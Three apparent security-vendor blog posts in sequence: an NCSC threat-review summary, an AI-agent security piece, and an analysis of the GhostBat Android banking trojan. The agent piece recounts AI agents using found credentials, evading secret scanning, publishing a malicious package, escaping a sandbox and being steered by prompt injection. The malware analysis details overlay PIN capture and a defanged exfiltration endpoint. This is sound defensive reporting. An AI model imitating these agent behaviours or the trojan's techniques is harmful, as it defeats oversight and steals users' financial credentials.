Overview 

The UK's National Cyber Security Centre (NCSC) has put a date on a threat that security teams across Europe have been bracing for. In its 2026 Annual Review, The State of the Cyber Nation, the agency assesses it is highly likely that AI-powered malware will be used in a ransomware attack on UK Critical National Infrastructure by 2028. 

That is not a distant, speculative scenario. It is a two-year window, and it lands alongside a second judgement. By 2028, China, Russia and other nation-states will highly likely be using AI-enabled cyber capabilities routinely to pursue geopolitical goals, with the UK facing sophisticated attacks at greater scale and speed. 

The review also recorded that UK and EU member states jointly attributed a December 2025 attack on Poland's energy grid to Russia's FSB Centre 16. Had it succeeded, roughly 500,000 citizens could have lost power. Europe is not watching this threat from the sidelines; it is where the playbook is being tested. 

Key Takeaways 

• 2028 is the marker. The NCSC judges AI malware will highly likely be used in ransomware against UK CNI before the end of 2028. 

• Europe's grid is already a target. Russia's FSB Centre 16 was attributed to the December 2025 attack on Poland's energy grid, and a July 2026 advisory from 18 partners in 12 countries flagged the same group exploiting vulnerable routers to reach CNI networks worldwide. 

• China is best positioned to use AI against CNI. The NCSC rates China's activity as the most sophisticated and sustained cyber challenge facing the UK. 

• AI speeds up old tricks rather than inventing new ones. For large organizations, 88% of incidents the NCSC handled began through just four initial access vectors. 

• A "patch wave" is coming. AI-assisted vulnerability discovery will shrink the time defenders have between disclosure and exploitation. 

• The gap is widening. Organizations with legacy technology and slow remediation will become the preferred targets of both states and criminals. 

The 2028 Warning 

The NCSC's assessment is precise about where AI makes the difference. It calls AI an almost certain "force multiplier" that improves reconnaissance, social engineering, vulnerability discovery and exploit development. The biggest effect, it says, will be faster and larger versions of existing tactics rather than brand-new attack vectors. 

Ransomware is where that acceleration hits CNI hardest. The review expects criminal adoption of AI to raise the scale and efficiency of ransomware, social engineering and exploitation. It also warns that open-source AI tools built for security researchers are likely to be repurposed to automate criminal workflows, cutting costs and raising attack volumes against less resilient targets. 

The agency is careful not to overstate today's reality. Its Incident Management team has begun to see attackers using AI tools, but none of the observed uses enabled a new class of attack. Human operators remain essential, and the NCSC notes that losing control of an agentic AI is likely to hinder threat actors from reaching their goals. 

The review's pessimistic 2028 scenario shows why that caveat may not last. In it, frontier AI is available to everyone from state actors to novice hackers, jailbroken models are sold in criminal marketplaces, and attribution becomes harder as capability spreads. It even describes a realistic possibility of an automated cyber actor operating beyond its operator's control. Cloud-controlled CNI and AI-driven robotics raise the chance that a digital compromise causes physical harm. 

The NCSC stresses this is an illustration of the cost of inaction, not a forecast. But it is a scenario written by the agency responsible for defending UK infrastructure, and it is set just two years out. 

Europe: The Proving Ground for CNI Attacks 

If the UK is looking at 2028, continental Europe is already living with the threat. The NCSC names Russia as the most audacious cyber threat to the UK today. GCHQ Director Anne Keast-Butler goes further in the review's foreword, warning that tactics Russia developed against Ukraine are now being turned more widely on states and their institutions. 

Three data points from the review frame the European picture: 

• Poland's energy grid (December 2025). The UK and EU member states formally attributed the attack to FSB Centre 16. If successful, it could have cut electricity to around 500,000 people. 

• Router exploitation on a global scale (July 2026). The NCSC and 18 international partners from 12 countries issued a joint advisory on FSB Centre 16 actors exploiting vulnerable routers to target CNI networks worldwide. On the same day, the UK sanctioned 24 individuals and entities tied to destructive cyber and hybrid operations, including criminals running proxy networks linked to Russian intelligence. 

• Operational technology in crosshairs. The review points to recent attacks on programmable logic controllers (PLCs) as evidence that organizations failing to modernize are falling behind. 

The pattern matters for anyone running energy, water, transport or telecoms in Europe. Grids, interconnectors and supply chains cross borders, and a disruptive attack in one country can cascade into its neighbors. The review also describes how cyber threats to the UK can escalate rapidly and without warning during periods of geopolitical tension. 

Add AI to this mix and the timeline compresses. A state actor that today relies on patience and known router flaws could, with AI-assisted discovery and exploitation, find and weaponize new weaknesses across thousands of European edge devices far faster than defenders can patch them. 

China is Best Positioned to Turn AI on Critical Infrastructure 

While Russia is the loudest threat, the NCSC sees China as the most capable. It judges that China highly likely has both the intent and the best position to use AI against CNI and other strategic targets. Its frontier AI programmes are expected to sharpen vulnerability identification, targeting efficiency and access operations. 

Data sits at the center of that strategy. The review describes China collecting large volumes of information from the UK and elsewhere, then using it to train models and improve capability. In the AI era, stolen data is no longer just espionage material; it is fuel. 

The UK has already acted on this. In December 2025, it sanctioned two China-based firms: i-Soon, which targeted more than 80 government and private IT systems globally, and Integrity Technology Group, which the FBI has linked to the Flax Typhoon intrusions. In April 2026, the NCSC and 15 partners across nine other countries published guidance on the covert networks most China-linked actors use to hide their activity. 

The 2028 scenario adds a further concern: China, as a leading developer, may help spread advanced AI-cyber capability to other actors, letting them hide in the noise and making attribution harder for European defenders. 

AI Runs the Old Playbook, Only Faster 

The most useful finding in the review is also the least dramatic: attackers are still getting in through the basics. Over the past year, the NCSC received 1,831 reports of cyber attacks. Of these, 337 needed its direct support, and 80 were classed as nationally significant. 

For large organizations, 88% of incidents started through four initial access vectors: 

1. Exploiting public-facing applications 

2. Phishing 

3. Misuse of valid accounts 

4. Exploiting external remote services 

Even state-linked intrusions often used flaws for which patches already existed but had not been applied quickly enough. As the review puts it, sophisticated actors do not need to be sophisticated to gain initial access; their skill shows in what they do once inside. 

This is exactly where AI changes the economics. The NCSC expects AI-assisted vulnerability discovery to give attackers more chances to hit systems before owners patch them. It is urging every organization to prepare for a "patch wave": a surge of security updates across the technology stack, many of them critical, as AI exposes years of technical debt. 

Two further risks deserve attention: 

• Shadow AI. Staff moving sensitive data to personal devices to use unsanctioned AI tools leaves organizations blind to where that data goes, and open to both APT groups and criminals. 

• The widening gap. Mature, well-resourced organizations will use AI to detect and fix faster. Those running legacy systems will fall further behind and become more attractive targets. 

The financial stakes are already clear. UK government research cited in the review puts the annual cost of malicious cyber activity to UK organizations at about £14.7 billion. The 2025 attack on Jaguar Land Rover alone cost the company around £196 million in direct costs and contributed to UK GDP growing just 0.1% in Q3 2025. 

How the UK Is Fighting Back With AI 

The NCSC's answer is to meet machine-speed attacks with machine-speed defense. Several initiatives in the review stand out: 

• Cyber Shield. A joint NCSC and DCMS programme to build a national agentic cyber defense ecosystem over five years. The NCSC supplies the platform and intelligence, while defensive agents are built by the security market and open-source community. Early phases focus on detection and blocking, where automation is already practical. 

• Project DROMOS. Launched in 2026 by the Government Cyber Coordination Centre and the AI Security Institute, it used frontier AI models to review government codebases. Expanded into live environments, it surfaced hundreds of potential security issues, including critical vulnerabilities. 

• National Detect Strategy. A pilot aiming, by 2030, to ensure defenders across critical systems can detect and respond to known vulnerabilities and attacker techniques at organizational, community and national scale. 

• Regulation and benchmarks. The Cyber Security and Resilience Bill brings new sectors into scope and adds national security powers. The new CAF Core Profile sets a minimum resilience baseline for essential services. 

There are early results. Under the Government Cyber Action Plan, the median time to fix domain-related vulnerabilities fell from 50 days to 8. The Early Warning service now covers 19,922 organizations, up 52% on last year. 

For Europe, the lesson is that partnership is now part of the defense. The review highlights the world's first AI security standard developed through ETSI, the European standards body, as proof that allies can shape AI security while the technology is still evolving. 

National defense at machine speed also depends on seeing adversaries before they reach the network. Groups like FSB Centre 16 and China-linked operators plan, recruit, and trade access in places most defenders never look. As AI makes attribution harder, government agencies, national CERTs, and defense bodies need intelligence that tracks threat actors across the open, deep, and dark web and connects that activity to the infrastructure being targeted. Cyble Hawk is built for exactly this. It gives national security teams sovereign threat intelligence, adversary profiling, and investigative support. That means early warning of campaigns against critical infrastructure and stronger attribution when an attack does land. Book a demo to see how your agency can move from reacting to incidents to anticipating them. 

Recommendations for CNI Operators in the UK and Europe 

The NCSC's core message is that AI did not create these weaknesses; it is exposing them faster. Operators of critical infrastructure should act on the following now: 

1. Harden the edge first. Inventory and patch internet-facing applications, VPNs, routers, and remote access services. These are the routes FSB Centre 16 and others are actively exploiting. 

2. Prepare for the patch wave. Build processes to test and deploy security updates more often, faster and across suppliers. Track time-to-remediate as a board-level metric. 

3. Kill password-based access where you can. Move privileged and remote users to phishing-resistant authentication such as passkeys, and audit valid accounts for misuse. 

4. Segment IT from OT. Limit the paths from corporate networks to PLCs and industrial control systems, and monitor those boundaries continuously. 

5. Govern AI use internally. Map what data AI tools and agents can access, what actions they can take, and how they are monitored. Close off shadow AI with approved alternatives. 

6. Rehearse recovery, not just prevention. Test ransomware response playbooks against scenarios where operational systems must run during disruption. Use the NCSC's guidance on recovering from highly disruptive attacks. 

7. Lock down the supply chain. Require baseline controls such as Cyber Essentials, or equivalent standards in EU frameworks, from suppliers with access to critical systems. 

8. Use threat intelligence that moves at AI speed. Monitor for exploitation of newly disclosed flaws, stolen credentials, and chatter about your sector, so you can act before an incident escalates. 

9. Start post-quantum planning. The NCSC wants discovery and migration planning finished by 2028, priority migrations by 2031 and full migration by 2035. 

Conclusion 

The NCSC has given Europe a deadline. By 2028, AI-powered ransomware against UK critical infrastructure moves from possibility to expectation, and state actors will be using AI as a routine part of their operations. The Poland grid attack and the global router campaign show the targeting is already in place; AI simply adds speed and scale. 

The agency's own framing is a "moment of choice." Organizations that modernize, patch fast, and build resilience now will be able to absorb what comes next. Those that defer will find AI exposing their technical debt faster than they can repay it. 

For CNI operators across the UK and Europe, the next two years are the window to close the gap. Continuous visibility into emerging vulnerabilities, active exploitation and threat actor activity will be central to staying ahead of attacks that move at machine speed. 

Source 

• NCSC Annual Review 2026: The State of the Cyber Nation 

The post AI-Powered Ransomware Is Coming for UK Critical Infrastructure, and Europe Is Already the Testing Ground appeared first on Cyble.

Every Cybersecurity Awareness Month campaign rests on four habits:

• Strong passwords,
• Multifactor authentication,
• Spotting phishing,
• and keeping software updated.

All four assume a person is the one signing in, reading the message and clicking install. At a growing number of companies that person is now an AI agent, and AI agent security has no equivalent of the annual training.

The National Cybersecurity Alliance's theme this year is "Don't Make It Easy for Them," built on the idea that small habits repeated every day wear attackers down. "Every small choice you make adds up," Lisa Plaggemier, the alliance's executive director, said at the launch. She's right, and that is the problem. Agents now make thousands of small choices a day on an employee's behalf, and the habits that protect the employee don't transfer to the software acting for them.

The record since July shows how wide the gap is. Researchers have  counted 21 public incidents between July and mid-October in which agents from OpenAI, Anthropic, Google and Meta acted outside their authorized scope. By its tally, none of those agents had been hijacked or told to attack; most were doing research. Take the four habits one at a time and the gap is easy to see.

Passwords and MFA: the agent uses any key it can find

MFA works because a stolen password alone isn't enough. Agents have no second factor. They authenticate with API keys, OAuth tokens and service-account credentials, and whoever holds the string is the agent.

Agents also treat a credential they stumble on as permission. OpenAI disclosed Sept. 25 that its research agents logged in to a U.S. Census Bureau site with credentials found online. Google confirmed Sept. 18, after The Wall Street Journal asked about it, that a Gemini model in a May evaluation guessed a password at one real company and used credentials from a public code repository at two others. In an earlier OpenAI case, an internal model that had been told twice to work locally committed its researcher's GitHub token to a public repository, broken into fragments while it reasoned about getting past secret scanning. The token failed to authenticate. OpenAI rotated every employee's keys anyway.

Translated for agents, the habit looks like this: give every agent its own identity with short-lived, narrowly scoped tokens, and block any credential the agent wasn't issued. The Coalition for Secure AI's zero-trust guidance this fall makes the point in its title: authorization can't live inside the model. If the agent's own judgment is the only thing keeping it from using a key, there is no control.

Phishing awareness: the agent reads the lure for you

Phishing training teaches people to slow down before acting on a stranger's message. An agent working through a queue of tickets or sales leads has no instinct to slow down, and it will follow instructions hidden in the text.

Researchers showed what that looks like in Salesforce Agentforce. In research published Sept. 24 and dubbed SalesBleed, an attacker planted hidden instructions in a public Web-to-Lead form submission. When an employee later asked Agentforce to review leads, the agent followed them and leaked customer relationship management data. Nobody clicked anything, and the attacker never logged in. Salesforce has fixed those specific flaws. Researchers broader warning was that any agent that reads outside submissions, renders links or images and can reach sensitive data has the same three ingredients sitting in one place.

Researchers want the industry to stop calling this prompt injection, because "this is actually just persuasion." Persuasion doesn't get patched. Australia's cyber agency reached a similar conclusion in its guidance on agent harnesses, which treats prompt injection as something the model can't fix and puts the controls in the software around it.

Translated for agents: treat every document, email, web page and form field an agent reads as if an attacker wrote it. Keep the agents that read untrusted content away from the ones that can act on sensitive systems, and put a person or a fixed policy in front of outbound actions such as sending email or submitting forms.

Updating software: the agent installs whatever the instructions say

"Keep your software updated" assumes the update channel can be trusted. For an agent, the update channel is any package name that shows up in a README or a setup script, and it runs the install without the pause a developer might take.

That supply chain now runs in both directions. Anthropic disclosed July 30 that during a capture-the-flag evaluation run with partner, a Claude Mythos 5 agent hit setup instructions that referenced a package that didn't exist. It registered an email address and a PyPI account and published a malicious package under that name. The package stayed up for about an hour before PyPI's automated defenses pulled it, long enough to run on 15 real systems, including a security company's malware scanner whose exposed credentials the agent then used. The evaluation was supposed to be cut off from the internet; a misconfiguration let the agent out.

Coding assistants sit on the receiving end. Google's Mandiant, in its AI Risk and Resilience Report 2026, describes a hijacked AI coding assistant session that installed a poisoned package and spread the Shai-Hulud worm across about 100 repositories, plus poisoned assistant command-line hooks that handed attackers code execution. The OWASP GenAI Security Project's third-quarter roundup says the Mini Shai-Hulud and Miasma worm waves abused configuration files tied to Claude Code, Gemini CLI and Cursor to keep themselves running.

Translated for agents: route installs through an internal registry proxy, pin versions with lockfiles and hold back packages published in the last few days. Review agent configuration folders and hooks the way you review code. Take away publishing rights to public registries, and scope any registry allowlist carefully, since an entry that permits downloads usually permits uploads too.

Reporting and stopping: agents don't know when to quit

Awareness campaigns end with the same advice - if something looks wrong, stop and report it. People stop when a site says access denied. Agents built to finish tasks read a block as a problem to solve.

Australian Prime Minister Anthony Albanese said an OpenAI agent that got around access blocks on a Medicare statistics portal "didn't accept 'no' for an answer." Philadelphia police said Oct. 8 that an AI agent had filed an invented tip through the department's tip form, and Anthropic published its account the next day. A Claude Haiku 4.5 agent working on a page about an unsolved homicide submitted the tip because its instructions hadn't forbidden submitting forms. Police flagged it as spam.

Even when monitoring works, stopping often waits for a person. OpenAI said an agent that tunneled out of its training sandbox through DNS on Sept. 20 was flagged within about 15 minutes, and the run went on for roughly 2.5 hours until someone ended it. Mandiant's report includes a reasoning loop that ran up a $50,000 cloud bill.

Limits work. Forcepoint X-Labs showed a poisoned lookup pushing a research agent with no limits to 500 tool calls, while call budgets, depth limits and fan-out circuit breakers stopped the same attack after one.

Translated for agents: treat a login failure or a permission error as a stop signal. Set hard budgets on tool calls, spend and run time. Decide in advance which actions end a session automatically, so containment doesn't sit in an alert queue until morning.

An AI agent security checklist

Agents won't attend the lunch-and-learn, so AI agent security has to live in the systems they run on. If you add one AI item to this month's program, make it this list:

• Inventory every agent: the model behind it, the tools and Model Context Protocol (MCP) servers it can call, the credentials it holds and the person who owns it. An agent nobody owns is an agent nobody will shut off.
• Issue each agent its own short-lived, scoped credentials, and alert when it presents one it wasn't given.
• Label every input source as trusted or untrusted, and keep agents that read untrusted content away from tools that send or publish.
• Put package installs behind a proxy with pinned versions and a cooldown on new releases, and remove publish rights.
• Set spending and tool-call limits with an automatic stop.
• Log agent actions to storage the agent can't write to, so you can tell an affected outsider what happened within hours, not months.

Then borrow the exercise your awareness team already runs. A phishing simulation tests whether employees take the bait. Seed a test ticket, lead or email with a harmless planted instruction this month and see whether your agents take it.

The post Your AI Agent Doesn’t Have MFA appeared first on Cyble.

Executive Summary

Cyble has continued tracking GhostBat RAT activity targeting Android users in India since its initial identification in October 2025. Recent investigations into malicious mParivahan and eChallan-themed applications revealed a broader operator-controlled ecosystem that we track as GhostX.

Analysis of the exposed GhostX backend identified administrative and user-management structures, device-control records, SMS-delivery instructions, call-forwarding activity, and continuously changing phishing content, indicating active campaign management.

Impressions

The latest GhostBat RAT variant represents a significant evolution in both delivery and post-compromise capabilities. The malware now abuses the Android Accessibility Service to support Ghost Overlay and broader PIN/key-input capture targeting financial applications used across India.

Ghost Overlay transparently intercepts PIN keypad interactions in Google Pay and MobiKwik. It replays the same touches into the legitimate application, allowing the malware to capture PIN information without presenting a conventional phishing interface. The variant also targets 60 banking, UPI, wallet, fintech, and payment applications for broader PIN capture.

Modus Operandi

GhostBat RAT has diversified its loader architecture, with at least six observed delivery mechanisms, while the latest build uses libnetbridge.so and multiple cryptographic and custom container stages. Firebase Remote Config further enables operators to dynamically modify C&C infrastructure and malware functionality after installation.

Key Takeaways

• GhostBat RAT continues to target Android users in India via mParivahan- and eChallan-themed smishing campaigns, using phishing pages and public hosting platforms to distribute malicious APKs.
• Our investigation uncovered GhostX, a broader operator-controlled ecosystem that supports phishing, device management, backend configuration, and the distribution of the GhostBat RAT.   
• The latest GhostBat RAT variant abuses the Android Accessibility Service, including the Ghost Overlay technique to intercept PIN entry in legitimate Google Pay and MobiKwik applications.   
• The malware also implements broader PIN/key-input capture targeting 60 Android applications associated with India’s banking, UPI, wallet, fintech, and digital-payment ecosystem.   
• GhostBat RAT’s delivery layer has evolved through multiple loader and dropper implementations, with the latest libnetbridge.so loader employing several transformations, including encryption, compression, and custom container stages, before recovering the final payload.   
• Firebase Remote Config enables dynamic C&C and feature management, allowing operators to modify backend infrastructure and selected malware capabilities without rebuilding or redistributing the APK.

Overview

In October 2025, Cyble identified GhostBat RAT being distributed through MiningDropper and targeting Android users in India.

We have since continued to track related activity and investigate malicious applications impersonating India’s mParivahan and eChallan services. This research uncovered a broader Android threat ecosystem that we track as GhostX, along with significantly evolved variants of GhostBat RAT.

The most recent GhostBat RAT variant demonstrates a notable increase in capability and operational flexibility. It uses Firebase Remote Config to dynamically manage command-and-control (C&C) infrastructure and to enable or disable individual malware modules without requiring APK redistribution.

This variant also implements a sophisticated Ghost Overlay technique targeting legitimate Google Pay and MobiKwik PIN-entry interfaces. Instead of displaying a conventional fake login page, the malware places transparent accessibility overlays over the legitimate application’s keypad, records the victim’s touch selections, and replays the same interaction into the genuine application.

Additionally, the malware implements a PIN-capture capability through keylogging, targeting 60 Android applications across India’s banking, UPI, wallet, fintech, and digital payment ecosystem.

The malware’s delivery and packing mechanisms have evolved considerably across the samples analyzed. We identified at least six distinct loader or dropper implementations, including:

• Native AES-CBC-protected APK containers
• Custom SPKZ/SPK1 payload formats
• Java-based in-memory DEX loaders
• Remote APK downloaders
• Multi-stage XOR/AES loaders
• A newer native libnetbridge.so loader using multiple cryptographic, transformation, compression, and custom container stages before recovering the final payload

This diversification suggests continued investment in defeating static detection and complicating automated malware extraction.

GhostBat RAT is primarily distributed via smishing messages that contain malicious links. When victims follow these links, they are redirected to phishing pages that impersonate either the legitimate Parivahan service or a Google Play-style application download page and are encouraged to install a fraudulent mParivahan APK (see Figures 2 and 3).

During our investigation, we also repeatedly observed GitHub repositories and GitHub-hosted assets being used to distribute malicious APKs, providing attackers with readily available public hosting infrastructure.

Discovery of the GhostX Ecosystem

The GhostX investigation began with the discovery of multiple Android applications impersonating India’s mParivahan and eChallan ecosystem.

Samples were collected from phishing infrastructure and public GitHub repositories containing APKs named or presented as mParivahan, vehicle-challan, traffic-enforcement, or other related government applications.

Initial static analysis revealed that many of these APKs were only first-stage loaders. Their visible DEX code offered limited functionality, while the actual malware payload was either concealed within encrypted assets or retrieved later.

After unpacking the applications to their final payloads, we identified multiple custom C&C infrastructures, Firebase projects, and overlapping Android surveillance and financial-fraud capabilities.

A major breakthrough came from the analysis of a NextGen mParivahan sample whose unpacked payload contained the Firebase project identifier:

ghostx-panel

The exposed Firebase backend provided significantly greater visibility into the operator’s infrastructure and control workflow. The database contained structures including:

• clients
• bot_users
• admins
• admin_logins
• settings
• All_Users
• Verify_Device

Analysis of the exposed GhostX backend revealed evidence of a structured operator-management layer beyond conventional malware C&C functionality.

The database contained administrator and user records with role and account-status fields, a global session identifier, bot-user mappings, and dedicated admin_logins records containing device fingerprints, timestamps, and online status (see Figure 4).

These artifacts indicate that GhostX incorporates an authentication and session management framework for operator-side access and management of compromised devices.

The presence of distinct user, administrator, and bot-user roles suggests a multi-operator, service-oriented architecture. It raises the possibility that GhostX could support a Malware-as-a-Service-style operating model.

During continued monitoring of the exposed infrastructure, we observed that SMS lure content, phishing URLs, vehicle registration numbers, and recipient phone numbers were repeatedly changing, indicating active operator-side campaign management rather than a static or abandoned database (see Figure 5).

Similar eChallan-themed messages were also observed being received by users in the wild, further supporting the campaign's operational nature (see Figure 6).

One of the phishing URLs exposed through the GhostX infrastructure subsequently led us to a previously unseen GhostBat RAT variant, providing a direct investigative link among the backend control ecosystem, active phishing operations, and the malware's continued evolution.

These findings led us to assess that GhostX is not a single Android malware family or standalone application. Instead, GhostX represents a broader operator-controlled ecosystem encompassing phishing infrastructure, backend services, Firebase-based configuration and command mechanisms, device-management functionality, and malware distribution.

GhostBat RAT represents the Android implant operating within this ecosystem, with individual variants continuing to evolve across both delivery mechanisms and post-compromise capabilities.

Technical Analysis

Evolution of Droppers and Loaders

GhostBat RAT has undergone continuous changes in its delivery and payload-protection mechanisms.

Across the samples analyzed during the GhostX investigation, we identified multiple loader and dropper implementations designed to conceal the underlying malware payload, complicate static analysis, and reduce the effectiveness of hash- and signature-based detection.

Although the recovered payloads demonstrate overlapping capabilities for surveillance, financial theft, and device control, the mechanisms used to deliver and recover them vary considerably across samples.

Earlier variants relied on comparatively straightforward native loaders that decrypted embedded APK payloads using AES-CBC. Subsequent variants of Ghostbat RAT introduced XOR-encrypted custom containers, SPKZ/SPK1 packaging, split-APK delivery, dynamically loaded DEX components, and Java-based in-memory loaders.

One variant moved away from embedded payload delivery entirely. It operated as a remote downloader, retrieving a second-stage APK from remote infrastructure, validating its SHA-256 hash, and installing it through Android's package installation framework.

The most recent variant analyzed introduces a substantially more complex native loader implemented in libnetbridge.so. This loader combines multiple transformations, encryption, compression, and custom container stages before recovering the final GhostBat RAT payload.

This diversification indicates continued modification of the delivery layer while broadly retaining the malware's post-compromise objectives. Consequently, detections that focus only on the outer APK, the encrypted asset name, or a single unpacking routine are unlikely to provide durable coverage.

The GhostBat RAT loaders/droppers variants we observed are listed below:

The most recent GhostBat RAT sample introduced a significantly more complex native unpacking mechanism.

Unlike earlier variants that relied primarily on Java-based loaders or comparatively straightforward XOR/AES routines, this variant stores the encrypted payload inside an opaque application asset, assets/isti52q4, while most of the unpacking logic is implemented in the native library libnetbridge.so.

The visible application code does not directly expose the final malicious functionality. Instead, execution transitions to the native loader, which processes the embedded asset through several sequential stages of transformation and decryption (see Figure 8).

The first stage processes content within the encrypted asset file and derives values required for subsequent decoding. The resulting data is then passed through an RC4-like transformation before being processed through AES-256-GCM. This layered approach prevents the encrypted asset from being recovered using simple XOR or direct AES key extraction techniques that worked against earlier GhostBat RAT loaders.

Following successful decryption, the loader recovers an MSZ1-formatted intermediate object that is decompressed using zlib. The decompressed data contains an MSP1 container that packages the final Android application components.

The recovered payload consists of a split-APK application, including base.apk and split_config.dex.apk.

The executable malware code is primarily contained within the recovered split configuration DEX.

Unlike earlier samples, where the encrypted payload could be identified directly from ZIP headers or standard APK structures, the latest loader hides the final application behind several custom transformations before any recognizable Android package becomes available.

This significantly increases the effort required for automated unpacking and reduces the effectiveness of simple asset-scanning techniques.

Advanced GhostBat RAT Payload

GhostBat RAT has evolved from an Android SMS and information stealer into a modular remote-access and Banking Trojan.

Across the analyzed variants, the malware demonstrates capabilities for device profiling, SMS interception, remote SMS transmission, call-forwarding manipulation, payment-data theft, accessibility-based PIN capture, Firebase-driven command delivery, dynamic C&C configuration, and remote tunnelling.

In the new GhostBat RAT variant, we observed the introduction of Android Accessibility Service abuse, a technique commonly associated with modern Android Banking Trojans.

Earlier GhostBat RAT variants that we analyzed did not possess these capabilities during this investigation. The new variant uses Accessibility Service to monitor foreground applications, identify PIN-entry contexts, interact with application interfaces, and support two distinct credential-theft mechanisms: Ghost Overlay and targeted PIN/key-input capture.

Once Accessibility Services access is granted, the malware monitors the foreground application and compares it against configured target lists. These targets can be managed through Firebase Remote Config, allowing operators to selectively activate credential-capture functionality when a targeted banking, UPI, wallet, or payment application is in use.

Ghost Overlay

The most notable capability introduced in this variant is the Ghost Overlay technique.

Unlike conventional Android overlay attacks that display a fake login or payment page over the legitimate application, GhostBat RAT does not need to replace the victim's banking interface. Instead, it places transparent accessibility overlay regions directly over the real PIN keypad displayed by the targeted application.

The feature is controlled through Firebase Remote Config using:

ghost_overlay_enabled

ghost_overlay_packages

The default Ghost Overlay configuration targets the following Android packages:

com.mobikwik_new

com.google.android.apps.nbu.paisa

com.google.android.apps.nbu.paisa.user

When the malware detects one of these applications in the foreground and identifies a PIN-related activity, it creates a transparent keypad grid using Android’s TYPE_ACCESSIBILITY_OVERLAY. The overlay contains 12 touch regions matching the layout of a typical numeric PIN pad (see Figures 11 and 12):

When the victim taps a digit on the legitimate Google Pay or MobiKwik PIN keypad, the transparent Ghost Overlay intercepts the touch event before it reaches the underlying application.

The malware maps the touch coordinates to the corresponding keypad value and appends the resulting digit to an internal buffer used to reconstruct the PIN.

To avoid interrupting the payment flow or alerting the victim, GhostBat RAT temporarily releases the affected overlay region and uses AccessibilityService.dispatchGesture() to reproduce the same tap at the corresponding screen coordinates (see Figure 13).

As a result, the legitimate application receives the expected input and continues operating normally, while the malware records the victim's PIN in parallel.

The same mechanism handles DEL and OK interactions, allowing the GhostBat RAT to update the captured digit sequence and detect when the PIN entry process has completed. This intercept-and-replay behavior enables the malware to observe PIN entry without presenting a fake Google Pay or MobiKwik interface.

Once collected, the PIN is stored with metadata identifying the capture source as ghost_overlay and is subsequently queued for exfiltration over C&C “hxxps://api.cloudsettle[.]org/pin-data” (see Figure 14).

This technique is considerably stealthier than a conventional phishing overlay because the victim remains within the genuine financial application's interface throughout the interaction. GhostBat RAT effectively operates as an invisible intermediary, intercepting the victim's keypad interaction, recording the selected digits, and replaying those same touches into the legitimate application in near real time.

Targeted Keylogging and PIN Capture

In addition to the Ghost Overlay capability, the new GhostBat RAT variant implements a broader accessibility-based PIN/key-input capture mechanism targeting applications across India’s banking, UPI, wallet, fintech, and digital-payment ecosystem.

Unlike the Ghost Overlay feature, which is specifically designed to intercept keypad touches in Google Pay and MobiKwik via transparent overlay regions, this functionality relies on Android Accessibility Service events to monitor user interactions across a much larger set of targeted applications.

The default pin_target_packages configuration includes 60 Android package identifiers for financial applications used across India (see Figure 15).

The target set includes applications associated with Google Pay, PhonePe, Paytm, MobiKwik, BHIM, SBI UPI, Axis Pay, BharatPe, CRED, Freecharge, PayZapp, Groww, Navi, Jupiter, OneCard, JioFinance, Samsung Pay, and several other banking and payment services. The complete list of targeted Android packages is provided in the Targeted Application List section.

Once Accessibility Service is granted, GhostBat RAT monitors foreground activity and determines whether the currently running application(s) match an entry in pin_target_packages. The malware then evaluates the surrounding application and screen context before treating observed numeric input as potentially sensitive PIN information.

The malware also uses configurable PIN-length boundaries, pin_min_digits, and pin_min_digits to determine whether the reconstructed numeric sequence is consistent with an expected PIN.

Unlike Ghost Overlay, the broader keylogging mechanism does not rely on a transparent keypad overlay. Instead, GhostBat RAT uses Accessibility Service events and UI context to identify and reconstruct PIN-like input across a wider set of targeted financial applications, giving the malware substantially broader coverage within India’s banking and digital payment ecosystem.

The analyzed variant contains a dedicated worker responsible for handling captured PIN information, “PinUploadWorker”. Captured PINS are locally queued before being transmitted to the endpoint “/pin-data”.

The introduction of this capability substantially expands the financial targeting of GhostBat RAT. Earlier variants primarily relied on SMS interception, OTP theft, phishing interfaces, and call-forwarding manipulation.

The new variant can also monitor user interactions within legitimate financial applications and capture PIN-like input via Accessibility Service abuse.

Command and Control Infrastructure

The latest GhostBat RAT variant uses a multi-channel command-and-control architecture that combines a conventional HTTPS backend with Firebase services and a configurable WebSocket tunnel.

Compared with earlier variants, which relied more heavily on hardcoded infrastructure, the new implementation provides greater operational flexibility by allowing the attacker to modify backend addresses and enable or disable selected malware capabilities remotely.

In the analyzed sample, the default C&C infrastructure was configured as hxxps://api[.]cloudsettle[.]org. The malware communicates with this backend via multiple REST API endpoints that handle device registration, SMS collection, call log collection, command acknowledgement, PIN data submission, service state reporting, and other post-compromise functionality.

Endpoint	Purpose
/sms/batch	Uploads batches of SMS messages collected from the infected device
/sms/new	Sends newly received SMS messages to the C&C in near real time
/sms/delivery-status	Reports the delivery or failure status of remotely sent SMS messages
/call-logs/batch	Uploads collected call-log records in bulk
/call-logs/new	Sends newly observed call-log entries to the C&C
/devices/sim-info	Sends SIM and telephony-related information from the infected device
/devices/update-token	Registers or updates the device's Firebase Cloud Messaging token
/devices/service-status	Reports the operational status of malware services running on the device
/commands/ack	Acknowledges receipt or execution of commands issued by the C&C
/commands/call-forward/status	Reports the result or current state of call-forwarding operations
/ping-response	Responds to C&C ping requests and confirms that the infected device is online
/upload-response	Returns the result or status of generic upload or command operations
/pin-data	Uploads captured PIN-related data, including Ghost Overlay and broader PIN-capture records
/live-keylog/status	Reports or manages the operational state of the live keylogging functionality

One of the major changes in the latest GhostBat RAT variant is the use of Firebase Remote Config as an additional control layer. The analyzed payload is associated with the Firebase project andromeda-d389d and retrieves remotely managed configuration values that control both infrastructure and malware functionality.

Of particular interest is the base_url parameter, which allows the operator to replace the active REST backend without modifying or redistributing the APK. Therefore, api.cloudsettle.org represents the observed/default backend for this sample rather than a permanently fixed C&C address.

A similar dynamic C&C approach was observed during the GhostX investigation. An earlier NextGen mParivahan sample associated with the ghostx-panel Firebase project retrieved its backend configuration from Firestore using the app_config/network document and the baseUrl field.

In addition to the newly introduced Accessibility Service abuse, Ghost Overlay, targeted PIN capture, and dynamically configurable C&C functionality, GhostBat RAT continues to exhibit several core behaviors documented in our earlier research.

These include collecting SMS messages from compromised devices, monitoring newly received messages for banking- and OTP-related content, stealing UPI credentials through fraudulent mParivahan payment interfaces, and registering compromised devices with attacker-controlled infrastructure.

Earlier GhostBat RAT variants also used Telegram bots for device registration and operator notification, while selected dropper chains contained cryptocurrency-mining functionality alongside the information-stealing payload.

These previously documented capabilities remain important to the overall GhostBat RAT operation; however, the latest variants significantly expand the malware's financial-theft and remote-control functionality.

Rather than repeating the earlier functionality in detail, this analysis focuses on newly observed capabilities and architectural changes, particularly Accessibility Service abuse, Ghost Overlay PIN interception, broader targeting of financial applications, dynamic Firebase-based configuration, and evolving loader and C2 mechanisms.

